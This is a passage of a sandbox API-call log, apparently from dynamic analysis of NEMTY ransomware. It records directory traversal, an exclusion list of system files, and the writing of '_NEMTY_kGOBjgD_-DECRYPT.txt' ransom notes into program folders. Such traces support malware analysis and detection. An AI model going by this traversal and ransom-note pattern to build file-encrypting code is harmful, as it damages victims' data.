lpString2="programdata") returned -1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="appdata") returned 1 [0108.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="points_conventions.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="points_conventions.exe", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="points_conventions.exe", lpUsedDefaultChar=0x0) returned 22 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="points_conventions.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="points_conventions.exe", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="points_conventions.exe", lpUsedDefaultChar=0x0) returned 22 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="points_conventions.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="points_conventions.exe", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="points_conventions.exe", lpUsedDefaultChar=0x0) returned 22 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="points_conventions.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0108.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="points_conventions.exe", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="points_conventions.exe", lpUsedDefaultChar=0x0) returned 22 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.865] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf444d8f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf444d8f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf444d8f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0108.865] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0108.866] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0108.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0108.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0108.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0108.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.867] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf444d8f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf444d8f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf444d8f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0108.867] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0108.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0108.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0108.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0108.867] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="...") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="windows") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="$RECYCLE.BIN") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="rsa") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="NTDETECT.COM") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="ntldr") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="MSDOS.SYS") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="IO.SYS") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="boot.ini") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="boot.ini") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="AUTOEXEC.BAT") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="ntuser.dat") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="desktop.ini") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="CONFIG.SYS") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="RECYCLER") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="BOOTSECT.BAK") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="bootmgr") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="programdata") returned 1 [0108.867] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="appdata") returned 1 [0108.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Portable Devices", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0108.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Portable Devices", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Portable Devices", lpUsedDefaultChar=0x0) returned 24 [0108.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0108.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Portable Devices", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Portable Devices", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Portable Devices", lpUsedDefaultChar=0x0) returned 24 [0108.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0108.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0108.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f915f8 [0108.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94088 [0108.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0108.868] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows portable devices\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0108.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.869] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.869] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0108.869] CloseHandle (hObject=0x3c0) returned 1 [0108.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0108.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0108.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0108.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0108.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0108.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0108.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94178 [0108.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0108.871] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows portable devices\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0108.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0108.871] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.871] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0108.872] CloseHandle (hObject=0x3c0) returned 1 [0108.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0108.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0108.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf4877f70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4877f70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0108.873] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0108.873] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf4877f70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4877f70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0108.873] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0108.873] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0108.873] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="...") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="windows") returned -1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="$RECYCLE.BIN") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="rsa") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="NTDETECT.COM") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntldr") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="MSDOS.SYS") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="IO.SYS") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot.ini") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot.ini") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="AUTOEXEC.BAT") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntuser.dat") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="desktop.ini") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="CONFIG.SYS") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="RECYCLER") returned 1 [0108.873] lstrcmpiW (lpString1="sqmapi.dll", lpString2="BOOTSECT.BAK") returned 1 